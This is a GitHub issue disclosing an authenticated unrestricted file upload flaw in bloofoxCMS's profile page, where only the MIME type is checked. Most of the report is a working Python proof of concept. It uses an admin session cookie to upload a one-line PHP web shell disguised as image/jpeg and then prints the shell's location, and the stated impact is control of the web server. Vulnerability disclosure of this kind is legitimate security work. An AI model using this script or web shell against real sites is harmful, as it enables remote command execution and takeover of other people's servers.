Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Authenticated Unrestricted File Upload in 'profile' action #9

Open
u0pattern opened this issue Dec 27, 2020 · 0 comments
Open

Authenticated Unrestricted File Upload in 'profile' action #9

u0pattern opened this issue Dec 27, 2020 · 0 comments

Comments

@u0pattern
Copy link

u0pattern commented Dec 27, 2020

I found Unrestricted File Upload in http://localhost/bloofoxCMS/admin/index.php?mode=user&action=profile&userid=[ID] -> filename param, the filename param only checks the MIME type which that can be bypassed.

PoC :-

import requests
sid = 'xxxxxxxxxxxxxxxxxxxxxxxxxx' # The Admin Session
url = "http://localhost/bloofoxCMS/bloofoxCMS/admin/index.php?page=myprofile"
data = {'username':'admin','send':'Save'}
r = requests.post(url, data=data, headers={'Cookie':'sid='+sid+';'},files={'filename': ('texst.php', "<?=`$_GET[1]`;", 'image/jpeg')}).text.split('/media/images/profiles/')[1].split("'")[0]
print('Your Shell in http://localhost/bloofoxCMS//admin/media/images/profiles/'+r)

Impact

Upload Backdoor PHP Files that leads to control the victim webserver

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant